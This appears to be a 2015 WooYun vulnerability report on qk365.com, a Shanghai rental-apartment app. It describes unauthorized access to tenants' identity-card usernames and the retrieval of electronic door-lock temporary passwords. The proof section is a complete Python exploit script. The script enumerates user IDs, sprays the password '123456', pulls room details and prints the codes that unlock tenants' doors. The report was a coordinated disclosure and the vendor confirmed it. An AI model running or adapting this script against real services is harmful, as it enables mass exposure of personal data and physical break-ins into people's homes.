当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0151351

漏洞标题:青客时尚租房(上海最大的白领公寓)遍历用户信息/可开租客房门

相关厂商:qk365.com

漏洞作者: xiao.k

提交时间:2015-11-05 15:50

修复时间:2015-12-20 18:26

公开时间:2015-12-20 18:26

漏洞类型:未授权访问/权限绕过

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-11-05: 细节已通知厂商并且等待厂商处理中
2015-11-05: 厂商已经确认,细节仅向厂商公开
2015-11-15: 细节向核心白帽子及相关领域专家公开
2015-11-25: 细节向普通白帽子公开
2015-12-05: 细节向实习白帽子公开
2015-12-20: 细节向公众公开

简要描述:

青客专注于白领公寓租赁和提供物业管理,是沪上精品租房的领跑品牌,励志为青年人才解决住房问题。互联网模式下的租房模式也产生了一些安全问题。

详细说明:

青客虽然采用的合租形式,但是居住模式比较时尚。房间的电子锁支持密码和房卡,电费等可以实现网上缴费。如果忘记了房间卡,可以通过APP,获取临时密码开门。
### 未授权访问用户身份信息
我们先抓个包

1.JPG


当我们把cookies改为空且diviceid改为空时,可以越权访问到用户的个人信息。
注意,这里的set-cookie为关键的登录凭据。下方的所以请求都会用到。
username为身份证号。为什么会是身份证号?会不会是别的呢?可能会,但是在签合同的时候,他们系统会帮你生成这样的一个账户,除非你单独设置。
### 获取用户房间信息
之前我提到了忘记房卡可以通过APP获取临时密码,然后可以利用临时密码开门。我们先获取下某用户的房间信息。

2.JPG


在请求处的cookies,需要设置为上一步返回的set-cookies。请求后可以看到当前用户的房间信息。注意图中标明的几个值,接下来会用到。
### 获取用户房间临时密码
根据上一步的信息,我们可以继续构造数据包。这里的username、token、roomId、cutId、cucId。我们都能获取到,除了用户的密码。

3.JPG


返回的lockpwd为临时的开门密码。
因为还需要用户的登录密码,我们可以考虑撞库试试。
### 撞库
下面是登录数据包

4.JPG


数据包中的sign并不是登录密码,而是md5(username + password + token)。
算法是从下方js获取的。
http://i.qk365.com/mobile/static/js/login.js
### 利用程序
如果想批量获取租户的临时密码,有以下思路:
> 首先通过越权漏洞,批量获取用户的登录名。然后采用登录接口,扫描弱口令的用户。拿到用户口令后,查询房间情况。如果有房间。我们发送请求,获取租客房间的临时密码。

漏洞证明:

结果.JPG


import requests
import hashlib
import json
import re
import time
s = requests.Session()
def get_lockpassword(username,password,token,roomId,cutId,cucId):
global s
data = {"username":username,"token":token,"password":password,"roomId":roomId,"cutId":cutId,"cucId":cucId}
headers = {'User-Agent':'qk365/1.7.2 (iPhone; iOS 9.1; Scale/2.00)','Content-Type': 'application/json'}
r = s.post('http://api.qk365.com/mobile/t/door/code/checkHash.json',headers=headers,data=json.dumps(data))
ret = r.json()
return ret['lockpwd']
pass
def get_romeinfo():
global s
cutId = token = roomId = cucId = ''
headers = {'User-Agent':'qk365/1.7.2 (iPhone; iOS 9.1; Scale/2.00)','Content-Type': 'application/json'}
ret = s.get('http://api.qk365.com/mobile/t/door/code/index.html',headers=headers)
findroom = ret.content.find('changeRoom')
if findroom > 0:
findroom = True
else:
findroom = False
subject = ret.content
if findroom > 0 :
print 'has room'
result = re.findall('changeRoom\(this\);">(.*?)</li>', subject, re.IGNORECASE | re.MULTILINE)
address = result[0]
print address
result = re.findall('value="(.*?)" id="cutId"', subject, re.IGNORECASE | re.MULTILINE)
cutId = result[0]
result = re.findall('value="(.*?)" id="token"', subject, re.IGNORECASE | re.MULTILINE)
token = result[0]
result = re.findall('roomId="(.*?)"', subject, re.IGNORECASE | re.MULTILINE)
roomId = result[0]
result = re.findall('cucId="(.*?)"', subject, re.IGNORECASE | re.MULTILINE)
cucId = result[0]
else:
print 'no room'
return findroom,token,roomId,cutId,cucId
pass
def login(username,password):
global s
sign = hashlib.md5(username + password + '1').hexdigest()
data = {"token":"1","username":username,"sign":sign,"deviceId":"x"}
headers = {'User-Agent':'qk365/1.7.2 (iPhone; iOS 9.1; Scale/2.00)','Content-Type': 'application/json'}
r = s.post('http://api.qk365.com/mobile/app/login/login.json',data=json.dumps(data),headers=headers)
ret = r.json()
if ret['result'] == 2 :
return False
if ret['result'] == 0 :
return True
pass
def get_userinfo(id):
global s
id = int(id)
data = {"userId":id,"deviceId":""}
headers = {'User-Agent':'qk365/1.7.2 (iPhone; iOS 9.1; Scale/2.00)','Content-Type': 'application/json'}
r = s.post('http://api.qk365.com/mobile/t/app/membership/user.json',data=json.dumps(data),headers=headers)
ret = r.json()
return ret['username']
pass
def main():
for id in xrange(53255,53623): //这里为用户的id,可以从0开始破解
print id
username = get_userinfo(id)
ret = login(username,'123456')
if ret:
print username,'123456'
findroom,token,roomId,cutId,cucId = get_romeinfo()
if findroom :
print 'lockpwd = ' + get_lockpassword(username,'123456',token,roomId,cutId,cucId)
pass
pass
pass
pass
if __name__ == '__main__':
main()


修复方案:

做好权限控制。
我也是你们的租客之一,希望你们今后能提供更安全的服务,更多的房源。

版权声明:转载请注明来源 xiao.k@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-11-05 18:25

厂商回复:

非常感谢你帮我们系统安全检测出漏洞,我们将重视这个问题,并立即进行整改。

最新状态:

暂无